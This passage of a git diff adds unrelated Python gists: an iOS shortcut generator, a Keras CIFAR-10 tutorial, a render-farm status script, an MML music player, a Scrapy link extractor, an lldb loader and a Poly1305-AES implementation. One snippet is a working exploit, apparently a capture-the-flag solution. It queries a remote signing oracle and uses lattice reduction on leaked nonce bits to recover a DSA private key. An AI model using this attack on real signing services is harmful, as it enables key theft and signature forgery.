+import photos
+import notification
+import console
+
+class ConfigProfileHandler (BaseHTTPServer.BaseHTTPRequestHandler):
+	config = None
+	def do_GET(s):
+		s.send_response(200)
+		s.send_header('Content-Type', 'application/x-apple-aspen-config')
+		s.end_headers()
+		plist_string = plistlib.writePlistToString(ConfigProfileHandler.config)
+		s.wfile.write(plist_string)
+	def log_message(self, format, *args):
+		pass
+
+def run_server(config):
+	ConfigProfileHandler.config = config
+	server_address = ('', 0)
+	httpd = BaseHTTPServer.HTTPServer(server_address, ConfigProfileHandler)
+	sa = httpd.socket.getsockname()
+	webbrowser.open('safari-http://localhost:' + str(sa[1]))
+	httpd.handle_request()
+	notification.schedule('Tap "Install" to add the shortcut to your homescreen.', 1.0)
+
+def main():
+	console.alert('Shortcut Generator', 'This script adds a "Webclip" shortcut to your homescreen. The shortcut can be used to open a web page in full-screen mode, or to launch a custom URL (e.g. a third-party app). You\'ll be asked for a title, a URL, and an icon (from your camera roll).', 'Continue')
+	label = console.input_alert('Shortcut Title', 'Please enter a short title for the homescreen icon.', '', 'Continue')
+	if not label:
+		return
+	url = console.input_alert('Shortcut URL', 'Please enter the full URL that the shortcut should launch.', '', 'Continue')
+	if not url:
+		return
+	icon = photos.pick_image()
+	if not icon:
+		return
+	console.show_activity('Preparing Configuration profile...')
+	data_buffer = BytesIO()
+	icon.save(data_buffer, 'PNG')
+	icon_data = data_buffer.getvalue()
+	unique_id = uuid.uuid4().urn[9:].upper()
+	config = {'PayloadContent': [{'FullScreen': True,
+            'Icon': plistlib.Data(icon_data), 'IsRemovable': True,
+            'Label': label, 'PayloadDescription': 'Configures Web Clip', 
+            'PayloadDisplayName': label,
+            'PayloadIdentifier': 'com.omz-software.shortcut.' + unique_id, 
+            'PayloadOrganization': 'omz:software', 
+            'PayloadType': 'com.apple.webClip.managed',
+            'PayloadUUID': unique_id, 'PayloadVersion': 1,
+            'Precomposed': True, 'URL': url}], 
+            'PayloadDescription': label,
+            'PayloadDisplayName': label + ' (Shortcut)', 
+            'PayloadIdentifier': 'com.omz-software.shortcut.' + unique_id,
+            'PayloadOrganization': 'omz:software', 
+            'PayloadRemovalDisallowed': False, 'PayloadType': 
+            'Configuration', 'PayloadUUID': unique_id, 'PayloadVersion': 1}
+	console.hide_activity()
+	run_server(config)
+
+if __name__ ==  '__main__':
+	main()
+
diff --git a/hard-gists/7872ef0d472a1a2c037736af21b30cfe/._snippet.py b/hard-gists/7872ef0d472a1a2c037736af21b30cfe/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7872ef0d472a1a2c037736af21b30cfe/._snippet.py differ
diff --git a/hard-gists/7872ef0d472a1a2c037736af21b30cfe/snippet.py b/hard-gists/7872ef0d472a1a2c037736af21b30cfe/snippet.py
new file mode 100644
index 00000000..8222dc52
--- /dev/null
+++ b/hard-gists/7872ef0d472a1a2c037736af21b30cfe/snippet.py
@@ -0,0 +1,149 @@
+# Tutorial from: http://bit.ly/2olREnv
+import numpy
+from keras.datasets import cifar10
+from matplotlib import pyplot
+from scipy.misc import toimage
+from keras.models import Sequential
+from keras.layers import Dense
+from keras.layers import Dropout
+from keras.layers import Flatten
+from keras.constraints import maxnorm
+from keras.optimizers import SGD
+from keras.layers.convolutional import Conv2D
+from keras.layers.convolutional import MaxPooling2D
+from keras.utils import np_utils
+from keras import backend as K
+
+########################################
+# Example: Simple CNN model for CIFAR-10
+
+# Set the column/row order
+K.set_image_dim_ordering('th')
+
+# load CFAIR-10 data
+(X_train, y_train), (X_test, y_test) = cifar10.load_data()
+
+# create a 3x3 grid plot of random images
+for i in range(0, 9):
+    for j in numpy.random.choice(len(X_train), 9).tolist():
+        pyplot.subplot(330 + 1 + i)
+        pyplot.imshow(toimage(X_train[j]))
+pyplot.show()
+
+# fix random seed for reproducibility
+seed = 9
+numpy.random.seed(seed)
+
+# normalize inputs from 0-255 to 0.0-1.0
+X_train = X_train.astype('float32')
+X_test = X_test.astype('float32')
+X_train = X_train / 255.0
+X_test = X_test / 255.0
+
+# One hot encode outputs
+y_train = np_utils.to_categorical(y_train)
+y_test = np_utils.to_categorical(y_test)
+num_classes = y_test.shape[1]
+
+# Create the model
+model = Sequential()
+# Create 32 3x3 filters to move across the image, pad the image (border_mode),
+# throw away negatives (activation), max weight is 3 (W_c)
+# model.add(Convolution2D(32, 3, 3,
+#                         input_shape=(3, 32, 32),
+#                         border_mode='same',
+#                         activation='relu',
+#                         W_constraint=maxnorm(3)))
+model.add(Conv2D(32, (3, 3),
+                 activation="relu",
+                 input_shape=(3, 32, 32),
+                 padding="same",
+                 kernel_constraint=maxnorm(3)))
+# Randomly throw away 20% of the filters
+model.add(Dropout(0.2))
+# Take the last layer and convolute again
+# model.add(Convolution2D(32, 3, 3,
+#                         activation='relu',
+#                         border_mode='same',
+#                         W_constraint=maxnorm(3))
+model.add(Conv2D(32, (3, 3),
+                 activation="relu",
+                 padding="same",
+                 kernel_constraint=maxnorm(3)))
+# Reduce resolution by taking the max value of a 2x2 across the image.
+model.add(MaxPooling2D(pool_size=(2, 2)))
+# Make a 1D vector ~8K here
+model.add(Flatten())
+# Fully Conneted Layer (dense) 8kx512 (multiply output by fully connected
+# layer (Wx+b)
+# model.add(Dense(512, activation='relu', W_constraint=maxnorm(3)))
+model.add(Dense(512, activation='relu', kernel_constraint=maxnorm(3)))
+# Throw away 1/2
+model.add(Dropout(0.5))
+# Always last layer, fit to one hot vector
+model.add(Dense(num_classes, activation='softmax'))
+
+# Compile model
+epochs = 25
+lrate = 0.01
+decay = lrate / epochs
+# Specify back prop method (Stochastic Gradiant Decent)
+sgd = SGD(lr=lrate, momentum=0.9, decay=decay, nesterov=False)
+# Loss says how do i know how well I'm doing
+model.compile(loss='categorical_crossentropy',
+              optimizer=sgd,
+              metrics=['accuracy'])
+print(model.summary())
+
+# Fit the model
+model.fit(X_train,
+          y_train,
+          validation_data=(X_test, y_test),
+          epochs=epochs,
+          batch_size=32)
+# Final evaluation of the model
+scores = model.evaluate(X_test, y_test, verbose=0)
+print("Accuracy: %.2f%%" % (scores[1] * 100))
+
+##################################################
+# Larger Convolutional Neural Network for CIFAR-10
+
+# Create the model
+model = Sequential()
+model.add(Conv2D(32, (3, 3),
+                 input_shape=(3, 32, 32),
+                 activation='relu',
+                 border_mode='same'))
+model.add(Dropout(0.2))
+model.add(Conv2D(32, (3, 3), activation='relu', border_mode='same'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Conv2D(64, (3, 3), activation='relu', border_mode='same'))
+model.add(Dropout(0.2))
+model.add(Conv2D(64, (3, 3), activation='relu', border_mode='same'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Conv2D(128, (3, 3), activation='relu', border_mode='same'))
+model.add(Dropout(0.2))
+model.add(Conv2D(128, (3, 3), activation='relu', border_mode='same'))
+model.add(MaxPooling2D(pool_size=(2, 2)))
+model.add(Flatten())
+model.add(Dropout(0.2))
+model.add(Dense(1024, activation='relu', W_constraint=maxnorm(3)))
+model.add(Dropout(0.2))
+model.add(Dense(512, activation='relu', W_constraint=maxnorm(3)))
+model.add(Dropout(0.2))
+model.add(Dense(num_classes, activation='softmax'))
+# Compile model
+epochs = 25
+lrate = 0.01
+decay = lrate / epochs
+sgd = SGD(lr=lrate, momentum=0.9, decay=decay, nesterov=False)
+model.compile(loss='categorical_crossentropy',
+              optimizer=sgd, metrics=['accuracy'])
+print(model.summary())
+
+numpy.random.seed(seed)
+model.fit(X_train, y_train,
+          validation_data=(X_test, y_test), nb_epoch=epochs, batch_size=64)
+# Final evaluation of the model
+scores = model.evaluate(X_test, y_test, verbose=0)
+print("Deep accuracy: %.2f%%" % (scores[1] * 100))
diff --git a/hard-gists/7880c101557297beeccda05978aeb278/._snippet.py b/hard-gists/7880c101557297beeccda05978aeb278/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7880c101557297beeccda05978aeb278/._snippet.py differ
diff --git a/hard-gists/7880c101557297beeccda05978aeb278/snippet.py b/hard-gists/7880c101557297beeccda05978aeb278/snippet.py
new file mode 100644
index 00000000..a1b77cdc
--- /dev/null
+++ b/hard-gists/7880c101557297beeccda05978aeb278/snippet.py
@@ -0,0 +1,58 @@
+# Example of use of Afanasy's API to generate a summary of the state of the
+# render farm.
+# Copyright (c) 2016 rise|fx (Elie Michel) - Released under MIT License
+
+import af
+
+cmd = af.Cmd()
+
+def isSysJob(job):
+    return job['st'] == 0
+
+## Jobs ##
+
+joblist = cmd.getJobList()
+job_state_counters = {}
+job_count = 0
+
+for job in joblist:
+    if isSysJob(job):
+        continue
+
+    job_count += 1
+    for s in job['state'].split():
+        job_state_counters[s] = job_state_counters.get(s, 0) + 1
+
+
+print("Out of %d jobs:" % job_count)
+print(" * %d are running" % job_state_counters.get('RUN', 0))
+print(" * %d have error" % job_state_counters.get('ERR', 0))
+print(" * %d are skipped" % job_state_counters.get('SKP', 0))
+print(" * %d are off" % job_state_counters.get('OFF', 0))
+print(" * %d are ready" % job_state_counters.get('RDY', 0))
+print(" * %d are done" % job_state_counters.get('DON', 0))
+
+# Note that the sum may exceed the total number of jobs because a job can have
+# several states
+
+print("")
+
+## Renders ##
+
+renderlist = cmd.renderGetList()
+render_state_counts = {}
+
+for render in renderlist:
+    for s in render['state'].split():
+        render_state_counts[s] = render_state_counts.get(s, 0) + 1
+
+print("Out of %d renders:" % len(renderlist))
+print(" * %d are online" % render_state_counts.get('ONL', 0))
+print(" * %d are offline" % render_state_counts.get('OFF', 0))
+print(" * %d are nimby" % render_state_counts.get('NBY', 0))
+print(" * %d are running" % render_state_counts.get('RUN', 0))
+print(" * %d are dirty" % render_state_counts.get('DRT', 0))
+
+# Note that the sum may exceed the total number of renders because a render can
+# have several states
+
diff --git a/hard-gists/78e41a5065136e41bccbffdaab108492/._snippet.py b/hard-gists/78e41a5065136e41bccbffdaab108492/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/78e41a5065136e41bccbffdaab108492/._snippet.py differ
diff --git a/hard-gists/78e41a5065136e41bccbffdaab108492/snippet.py b/hard-gists/78e41a5065136e41bccbffdaab108492/snippet.py
new file mode 100644
index 00000000..11494bf3
--- /dev/null
+++ b/hard-gists/78e41a5065136e41bccbffdaab108492/snippet.py
@@ -0,0 +1,89 @@
+# Implementation based on attack from
+# http://www.hpl.hp.com/techreports/1999/HPL-1999-90.pdf
+import socket
+import telnetlib
+import random
+from hashlib import sha1
+from sage.all import inverse_mod, matrix, vector
+
+TARGET = ('185.143.173.36', 1337)
+sock=socket.create_connection(TARGET)
+
+def ru(st):
+    buf=''
+    while not st in buf:
+        c = sock.recv(1)
+        buf += c
+    return buf
+
+q = 0x100000000000000000001f4c8f927aed3ca752257
+bits = 5
+n = 50
+
+def oracle(msg):
+    ru('-> ')
+    sock.sendall('S\n')
+    ru('sign: ')
+    sock.sendall(msg + '\n')
+    r, s, klo = map(int,ru('\n').strip().split(', '))
+    return r, s, klo
+
+def dot(a, b):
+    return sum(x*y for x, y in zip(a,b))
+
+def babai(A, w):
+    ''' http://sage-support.narkive.com/HLuYldXC/closest-vector-from-a-lattice '''
+    C = max(max(row) for row in A.rows())
+    B = matrix([list(row) + [0] for row in A.rows()] + [list(w) + [C]])
+    B = B.LLL(delta=0.99)
+    return w - vector(B.rows()[-1][:-1])
+
+msg = 'foo'
+h = int(sha1(msg).hexdigest(), 16)
+M = 2**bits
+
+sigs = []
+
+print 'Filling buffer...'
+iter = 0
+while True:
+    iter += 1
+    n = 50
+    sigs.append(oracle(msg))
+    while len(sigs) < n+1:
+        sigs.append(oracle(msg))
+
+    print 'Iteration %d' % iter
+
+    (r0, s0, klo0) = sigs[-n-1]
+    r0inv = inverse_mod(r0, q)
+
+    svec, tvec = [], []
+    for idx in range(-n,0):
+        (r, s, klo) = sigs[idx]
+        t = inverse_mod(-s, q)
+        A = (h*(1-r*r0inv)*t)%q
+        B = (r*r0inv*s0*t)%q
+
+        inv = inverse_mod(M, q)
+        t = ((A + B*klo0 + klo)*inv)%q
+        s = (B*M*inv)%q
+        svec.append(s)
+        tvec.append(t)
+
+    A = [[-1]+svec] + [[0]*i + [q] + [0]*(n-i) for i in range(1, n+1)]
+
+    A = matrix(A)
+    t = vector([0]+tvec)
+    w = babai(A,t)
+    z = w-t
+
+    k = z[0]*M + klo0
+    x = (s0*k - h) * inverse_mod(r0, q) % q
+    x = hex(int(x)).rstrip('L').lstrip('0x')
+    while len(x) %2 :
+        x = '0'+x
+    x = x.decode('hex')
+    if all(ord(c) >= 0x20 and ord(c) <= 0x7d for c in x):
+        print x
+        exit()
diff --git a/hard-gists/790687/._snippet.py b/hard-gists/790687/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/790687/._snippet.py differ
diff --git a/hard-gists/790687/snippet.py b/hard-gists/790687/snippet.py
new file mode 100644
index 00000000..1c0708b5
--- /dev/null
+++ b/hard-gists/790687/snippet.py
@@ -0,0 +1,349 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import re
+import sys
+import math
+import array
+import random
+import itertools
+import collections
+
+import pyaudio
+
+
+class MMLStatus:
+    """テンポとか音符の長さとかの情報を持つ"""
+    def __init__(self, T=120, L=4, O=4, Q=5, V=12):
+        self.T = T
+        self.L = L
+        self.O = O
+        self.Q = Q
+        self.V = V
+        
+    def __str__(self):
+        return 'T=%d, L=%d, O=%d, Q=%d, V=%d' % (self.T, self.L, self.O, self.Q, self.V)
+    
+    def change(self, cmd):
+        if cmd.cmd == '<':
+            if self.O < 7: self.O += 1
+        elif cmd.cmd == '>':
+            if self.O > 0: self.O -= 1
+        elif cmd.cmd == 'L':
+            if 1 <= cmd.arg <= 64: self.L = cmd.arg
+        elif cmd.cmd == 'V':
+            if 0 <= cmd.arg <= 16: self.V = cmd.arg
+        elif cmd.cmd == 'T':
+            if 30 <= cmd.arg <= 240: self.T = cmd.arg
+        elif cmd.cmd == 'O':
+            if 0 <= cmd.arg <= 7: self.O = cmd.arg
+        elif cmd.cmd == 'Q':
+            if 1 <= self.Q <= 8: self.Q = cmd.arg - 1
+
+
+
+MMLCommand = collections.namedtuple('MMLCommand', 'cmd acci arg dot')
+ADSR = collections.namedtuple('ADSR', 'A D S R')
+class MMLPlayer:
+    """MMLプレイヤー"""
+    ACCI = ( 1.0, 1.0/1.06, 1.06, 1.06 )
+    DOT  = ( 1.0, 1.5, 1.75, 1.875 )
+    
+    def __init__(self, tone, adsr=None):
+        self.tone = tone
+        self.adsr = adsr
+        self.stat = MMLStatus()
+        
+        
+    def fetch_token(self, command):
+        buf = []
+        for c in command.upper():
+            if c in (' ', '¥n'):
+                continue
+            if c in ('A', 'B', 'C', 'D', 'E', 'F', 'G',
+                     'R', 'T', 'L', 'O', 'V', 'Q', '>', '<'):
+                if buf:
+                    yield ''.join(buf)
+                    buf = []
+            buf.append(c)
+        else:
+            if buf: yield ''.join(buf)
+    
+    
+    def conv_token(self, token):
+        m = re.search(r'([A-Z<>])([-=+#]?)(¥d*)(¥.*)', token)
+        if not m: return
+        cmd  = m.group(1).upper()
+        acci = '=-+#'.index(m.group(2))
+        arg  = int(m.group(3) or 0)
+        dot  = len(m.group(4))
+        return MMLCommand(cmd=cmd, acci=acci, arg=arg, dot=dot)
+    
+    
+    def conv_freq(self, cmd):
+        freq = 0
+        if cmd.cmd == 'C':
+            freq = 261.63
+        elif cmd.cmd == 'D':
+            freq = 293.66
+        elif cmd.cmd == 'E':
+            freq = 329.63
+        elif cmd.cmd == 'F':
+            freq = 349.23
+        elif cmd.cmd == 'G':
+            freq = 392.00
+        elif cmd.cmd == 'A':
+            freq = 440.00
+        elif cmd.cmd == 'B':
+            freq = 493.88
+        elif cmd.cmd == 'R':
+            freq = 0
+        freq *= 2 ** (self.stat.O - 4) * self.ACCI[cmd.acci]
+        return freq
+    
+    
+    def conv_length(self, cmd):
+        if 1 <= cmd.arg <= 64:
+            return cmd.arg
+        else:
+            return self.stat.L
+        
+        
+    def calc_tim(self, cmd):
+        return (60.0 / self.stat.T) * (4.0 / self.conv_length(cmd)) * self.DOT[cmd.dot]
+    
+    
+    def play(self, command):
+        p = pyaudio.PyAudio()
+        stream = p.open(rate=44100, channels=1, format=pyaudio.paFloat32, output=True)
+        
+        buf = (0, 0, 0, 0)
+        for i, token in enumerate(self.fetch_token(command)):
+            cmd = self.conv_token(token)
+            
+            if i % 20 == 0:
+                sys.stdout.write('¥033[2J¥033[0;0H')
+            print cmd, self.stat
+            
+            if cmd.cmd not in ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'R'):
+                self.stat.change(cmd)
+                continue
+            
+            freq = self.conv_freq(cmd)
+            tim  = self.calc_tim(cmd)
+            tim2 = tim * ((self.stat.Q + 1) / 8.0)
+            velocity = self.stat.V / 16.0 * 0.1
+            
+            if cmd.cmd != 'R':
+                stream.write(self.tone(buf[0], sec=(buf[1], buf[2]), velocity=velocity, adsr=self.adsr))
+                buf = (freq, tim, tim2, velocity)
+            else:
+                buf = (buf[0], buf[1] + tim, buf[2], velocity)
+        else:
+            stream.write(self.tone(buf[0], sec=(buf[1], buf[2]), velocity=velocity, adsr=self.adsr))
+            
+        stream.close()
+        p.terminate()
+        
+        
+    def malkov_play(self, command, length=3):
+        p = pyaudio.PyAudio()
+        stream = p.open(rate=44100, channels=1, format=pyaudio.paFloat32, output=True)
+        
+        ent = collections.namedtuple('ent', 'freq tim tim2')
+        
+        entities = [ ]
+        for token in self.fetch_token(command):
+            cmd = self.conv_token(token)
+            if cmd.cmd not in ('A', 'B', 'C', 'D', 'E', 'F', 'G', 'R'):
+                self.stat.change(cmd)
+            else:
+                freq = self.conv_freq(cmd)
+                tim  = self.calc_tim(cmd)
+                tim2 = tim * ((self.stat.Q + 1) / 8.0)
+                entities.append(ent(freq, tim, tim2))
+
+        velocity = 0.1
+        malkov = dict()
+        for i in xrange(length, len(entities)):
+            key = tuple(entities[i-length:i])
+            val = entities[i]
+            malkov.setdefault(key, []).append(val)
+            
+        total_tim = 0
+        key = entities[:length]
+        key_insurances = set( tuple(key) )
+        while total_tim < 120:
+            cands = malkov.get(tuple(key))
+            if not cands:
+                key = list(random.choice(list(key_insurances)))
+                continue
+            key_insurances.add(tuple(key))
+            e = random.choice(cands)
+            key = key[1:] + [ e ]
+            stream.write(self.tone(e.freq, sec=(e.tim, e.tim2), velocity=velocity, adsr=self.adsr))
+            total_tim += e.tim
+            print e, total_tim
+            
+        stream.close()
+        p.terminate()
+        
+
+
+
+def sine_wave(w, n):
+    """サイン派"""
+    for i in xrange():
+        yield math.sin(float(i % w) / w * PI2)
+
+def sawtooth_wave(w, n):
+    """ノコギリ波"""
+    for i in xrange(n):
+        yield (i % w) / float(w)
+
+def square_wave(w, n):
+    """矩形波"""
+    hw = w / 2
+    for i in xrange(n):
+        yield 1.0 if i % w <= hw else 0.0
+
+
+def tone(freq, sec=1, velocity=.2, rate=44100, adsr=None):
+    PI2 = math.pi * 2
+    
+    if isinstance(sec, (int, float)):
+        tim = sec
+    else:
+        sec, tim = sec
+    
+    w = rate / freq if freq else 0
+    
+    def envelope_generator():
+        if adsr:
+            length = rate * sec
+            
+            i = 0
+            attack  = rate * adsr.A
+            for i in xrange(int(min(attack, length))):
+                yield i / float(attack)
+            
+            decay   = rate * adsr.D    
+            sustain = adsr.S    
+            for i in xrange(i, int(min(decay, length))):
+                j = i - attack
+                yield 1.0 - ((1.0 - sustain) * j / float(decay))
+                
+            release_start = rate * tim
+            for i in xrange(i, int(min(release_start, length))):
+                yield sustain
+            
+            release = rate * adsr.R
+            for i in xrange(i, int(min(release, length))):
+                j = i - release_start
+                yield sustain * (1.0 - (j / float(release)))
+                
+            for i in xrange(i, int(length)):
+                yield 0.0
+                
+        else:
+            for i in xrange(int(rate * sec)):
+                yield 1.0
+    
+    wgen = square_wave
+    def gen():
+        if w:
+            for i, j in itertools.izip(wgen(w, int(rate * sec)), envelope_generator()):
+                yield i * j * velocity
+        else:
+            for i in xrange(int(rate * sec)):
+                yield 0
+                
+    return array.array('f', gen()).tostring()
+
+
+
+mario = """
+T195 L8 O5
+eerercergrr4>grr4<
+
+crr>grrerrarbrb-arg6<c6g6arfgrercd>br4<
+crr>grrerrarbrb-arg6<c6g6arfgrercd>br4<
+
+r4gf+fd+rer>g+a<c>ra<cd
+r4gf+fd+rer<crccrr4
+>r4gf+fd+rer>g+a<c>ra<cd
+r4e-rrdrrcrr4r2
+
+r4gf+fd+rer>g+a<c>ra<cd
+r4gf+fd+rer<crccrr4
+>r4gf+fd+rer>g+a<c>ra<cd
+r4e-rrdrrcrr4r2
+
+ccrcrcdrecr>agrr4
+<ccrcrcder1
+ccrcrcdrecr>agrr4<
+
+eerercergrr4>grr4<
+crr>grrerrarbrb-arg6<c6g6arfgrercd>br4<
+crr>grrerrarbrb-arg6<c6g6arfgrercd>br4<
+
+ecr>gr4g+ra<frf>arr4
+b6<a6a6a6g6f6ecr>agrr4<
+ecr>gr4g+ra<frf>arr4
+b6<f6f6f6e6d6crr2.
+
+ecr>gr4g+ra<frf>arr4
+b6<a6a6a6g6f6ecr>agrr4<
+ecr>gr4g+ra<frf>arr4
+b6<f6f6f6e6d6crr2.
+
+ccrcrcdrecr>agrr4
+<ccrcrcder1
+ccrcrcdrecr>agrr4<
+
+eerercergrr4>grr4<
+
+ecr>gr4g+ra<frf>arr4
+b6<a6a6a6g6f6ecr>agrr4<
+ecr>gr4g+ra<frf>arr4
+b6<f6f6f6e6d6crr2.
+"""
+
+
+invention04 = """
+ T80
+ O4
+ L16
+ DEFGAB- C#B-AGFE
+ L8
+ F A <D >G <C# E
+ L16
+ DEFGAB- C#B-AGFE
+ FDEFGA >b-<agfed
+ ecdefg >a<gfedc
+ defdef >grrrrr
+ <cdecde 
+ L8
+ >f r b-&
+ b- a g
+ L16
+ <c>b-agfe fg a32g32a32g32&g f
+ L8
+ f <c c
+ L32
+ cdcdcdcdcdcd
+ cdcdcdcdcdcd
+ cdcdcdcdcdcd
+ L16
+ c>b-agfe <c>def#ga b-agfed b-cdefg
+
+ ab<cdef >g#<fedc>b <c>b<dc>ba g#ag#f#ed cdef#g#a
+ d<c>bag#f# ef#g#ab<c >f#<edc>ba g#ab<cde >a<fedc>b
+ <ag#f#ea8& ad L32c>b<c>b&b16a16 a8&a16 L16 ab-<c >d8f#8a8 b-gab-<cd
+ >e<dc>b-ag a8<fef8  >g8 <e8 r8  defgdb- c#b-agfe f8 d8 >g8&
+ L16 g<dc#e>a<c# d>b L32<dc#dc#&c#16d16 L16 dc>b-agf b-c#defg a<d >f8ed d4&d8
+"""
+
+
+# MMLPlayer(tone, adsr=ADSR(0., .4, 0., 0.2)).malkov_play(invention04, length=2)
+MMLPlayer(tone, adsr=ADSR(0., .4, 0., 0.2)).play(mario)
diff --git a/hard-gists/790721/._snippet.py b/hard-gists/790721/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/790721/._snippet.py differ
diff --git a/hard-gists/790721/snippet.py b/hard-gists/790721/snippet.py
new file mode 100644
index 00000000..1e8c508d
--- /dev/null
+++ b/hard-gists/790721/snippet.py
@@ -0,0 +1,31 @@
+import re
+
+from scrapy.link import Link
+from urlparse import urljoin
+from BeautifulSoup import BeautifulSoup
+
+class SoupLinkExtractor(object):
+    def __init__(self, *args, **kwargs):
+        super(SoupLinkExtractor, self).__init__()
+        allow_re = kwargs.get('allow', None)
+        self._allow = re.compile(allow_re) if allow_re else None
+    
+    def extract_links(self, response):
+        raw_follow_urls = []
+        
+        soup = BeautifulSoup(response.body_as_unicode())
+
+        anchors = soup.findAll('a')
+        for anchor in anchors:
+            anchor_href = anchor.get('href', None)
+            if anchor_href and not anchor_href.startswith('#'):
+                raw_follow_urls.append(anchor_href)
+                
+        potential_follow_urls = [urljoin(response.url, raw_follow_url) for raw_follow_url in raw_follow_urls]
+        
+        if self._allow:
+            follow_urls = [potential_follow_url for potential_follow_url in potential_follow_urls if self._allow.search(potential_follow_url) is not None]
+        else:
+            follow_urls = potential_follow_urls
+            
+        return [Link(url = follow_url) for follow_url in follow_urls]
diff --git a/hard-gists/7923781/._snippet.py b/hard-gists/7923781/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7923781/._snippet.py differ
diff --git a/hard-gists/7923781/snippet.py b/hard-gists/7923781/snippet.py
new file mode 100644
index 00000000..a754ea65
--- /dev/null
+++ b/hard-gists/7923781/snippet.py
@@ -0,0 +1,27 @@
+""" File: reveal.py
+
+Add to ~/.lldbinit:
+    command script import ~/.lldb-scripts/reveal.py
+
+Q: Want to automatically load the Reveal lib on launch while debugging from Xcode?
+A: In Xcode:
+    Add a Symbolic Breakpoint
+    Symbol: "UIApplicationMain"
+    Action: Debugger Command with value "reveal"
+    Tick "Automatically continue after evaluating"
+"""
+
+__author__ = 'Chris Miles'
+__copyright__ = 'Copyright (c) Chris Miles 2013'
+__license__ = 'MIT'
+
+
+import lldb
+
+
+def auto_load_reveal(debugger, command, result, dict):
+    lldb.debugger.HandleCommand('call (void*)dlopen("/Applications/Reveal.app/Contents/SharedSupport/iOS-Libraries/libReveal.dylib", 0x2)')
+
+
+def __lldb_init_module(debugger, internal_dict):
+  debugger.HandleCommand('command script add -f reveal.auto_load_reveal reveal')
diff --git a/hard-gists/792634/._snippet.py b/hard-gists/792634/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/792634/._snippet.py differ
diff --git a/hard-gists/792634/snippet.py b/hard-gists/792634/snippet.py
new file mode 100644
index 00000000..047b6b61
--- /dev/null
+++ b/hard-gists/792634/snippet.py
@@ -0,0 +1,198 @@
+'''
+Implementation of Poly1305-AES as described by Daniel J. Bernstein in
+documents linked from: http://cr.yp.to/mac.html
+
+Implemented by Josiah Carlson <josiah.carlson@gmail.com> on 2011-01-23,
+released into the public domain.
+
+Note: this implementation of Poly1305-AES uses Python's built-in long integer
+implementation, so is not terribly performant, and likely suffers from a
+side-channel attack related to the timing of bigint modulo. It also uses
+PyCrypto's AES encryption implementation, which you will need to have
+installed (or update the code with a work-alike).
+
+
+This source also includes the equivalent of:
+  http://cr.yp.to/mac/test-poly1305aes.c
+... which can verify the correctness of the included poly1305 implementation
+using the hashes provided:
+  http://cr.yp.to/mac/test.html
+
+
+If you want something faster, use SHA256/512 HMAC with a 16/32+ byte secret
+key with 16/32+ byte nonce.
+
+'''
+
+import array
+from hashlib import md5
+import os
+import struct
+import sys
+import time
+
+from Crypto.Cipher import AES
+
+class VerificationFailed(Exception):
+    pass
+
+def poly1305(k, r, m, nonce=None, enc_alg=AES):
+    '''
+    Given a 16-byte secret AES k, an additional 16-byte secret key r, and a
+    message m provided as strings, will generate the 16-byte Poly1305-AES
+    verifier with a siingle-use 16-byte nonce appended.
+
+    If you wish to provide your own nonce, you can provide it, but be sure
+    that you aren't compromising security for the sake of "do it yourself".
+    '''
+    
+    if not nonce:
+        nonce = struct.pack('>d', time.time()) + os.urandom(8)
+
+    assert len(k) == 16
+    assert len(r) == 16
+
+    r = map(ord, r)
+    for index in (3, 7, 11, 15):
+        r[index] &= 15
+    for index in (4, 8, 12):
+        r[index] &= 252
+    
+    rbar = 0
+    for p, v in enumerate(r):
+        rbar += v << (8*p)
+
+    h = 0
+    s = map(ord, enc_alg.new(k).encrypt(nonce))
+    p = (1 << 130) - 5
+
+    lm = len(m)
+    for jj in xrange(0, lm, 16):
+        c = 0
+        for j in xrange(jj, min(jj+16, lm)):
+            c += ord(m[j]) << (8*(j-jj))
+        c += 1 << (8*(j-jj+1))
+        h = ((h + c) * rbar) % p
+
+    for j, sj in enumerate(s):
+        h += sj << (8*j)
+
+    out = ''
+    for i in xrange(16):
+        out += chr(h&255)
+        h >>= 8
+
+    return out + str(nonce)
+
+def poly1305_verify(k, r, inp, an=None, enc_alg=AES):
+    '''
+    Given a 16-byte secret AES k, an additional 16-byte secret key r, and the
+    message with a claimed correct verifier+nonce prepended to the message,
+    this will verify that the message has not been modified or forged.
+
+    On verification failure, will the VerificationFailed exception. On success
+    will return True.
+
+    Why raise an exception and not return false? Message verification failure
+    should be an exceptional condition and require explicit handling.
+    '''
+    if an is None:
+        an = inp[:32]
+        inp = buffer(inp, 32, len(inp))
+    verify = an[:16]
+    nonce = an[16:32]
+    to_verify = poly1305(k, r, inp, nonce, enc_alg)
+    same = not sum(ord(a)^ord(b) for a,b in zip(an, to_verify))
+    if not same:
+        raise VerificationFailed
+    return True
+
+def main():
+    '''
+    Tests the implementation of poly1305() and poly1305_verify()
+    '''
+    _buffer = buffer
+    _wanted = {
+        10010:'ad3314ecd86351da7a20244097a08de6',
+        123456:'707212358360ae459bc0ef293a5354e8',
+        1234567:'3b2bc877e4e64efbfe39945ac102c768',
+        12345678:'ef3831c8b2087ebf6844f2265e1da2c2',
+        123456789:'5e29ea7450475dc419a0f95afde0cfdc',
+        1001000000:'3ceb64843c00984c5c2b7897f499141b',
+        1001000001:None,
+    }
+
+    hashed = md5()
+    MAXLEN = 1000
+    LC = 0
+    MAXLC = 2**64
+    k = array.array('B', 16*[0])
+    r = array.array('B', 16*[0])
+    n = array.array('B', 16*[0])
+    m = array.array('B', MAXLEN*[0])
+    for loop in xrange(1000000):
+        l = 0
+        while True:
+            out = array.array('B', poly1305(_buffer(k), _buffer(r), _buffer(m, 0, l), _buffer(n)))
+            h = out.tostring()[:16].encode('hex')
+            if '--actually-print' in sys.argv:
+                print h
+            hashed.update(h + '\n')
+            LC += 1
+            if LC in _wanted:
+                assert hashed.hexdigest() == _wanted[LC], (LC, hashed.hexdigest(), _wanted[LC])
